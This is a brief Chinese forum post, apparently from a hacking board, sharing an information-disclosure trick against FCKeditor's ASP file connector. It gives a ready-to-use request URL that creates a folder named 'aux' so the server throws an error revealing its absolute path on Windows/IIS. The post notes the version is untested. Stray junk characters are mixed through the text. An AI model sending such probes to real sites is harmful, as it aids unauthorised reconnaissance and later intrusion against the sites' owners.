最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
/ A  e. S$ U- W. Q/ z
# k) F3 t, A9 }. x+ k  |
9 `, k) R" t6 U8 U, T版本未测试。。。
1 Z* L4 _( h5 ^, L8 h
0 r$ I8 ?& H% w: x2 o原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
! K# c) g3 C$ u8 I, d

听说IIS都可以。。
3 N) i. N$ s: B6 p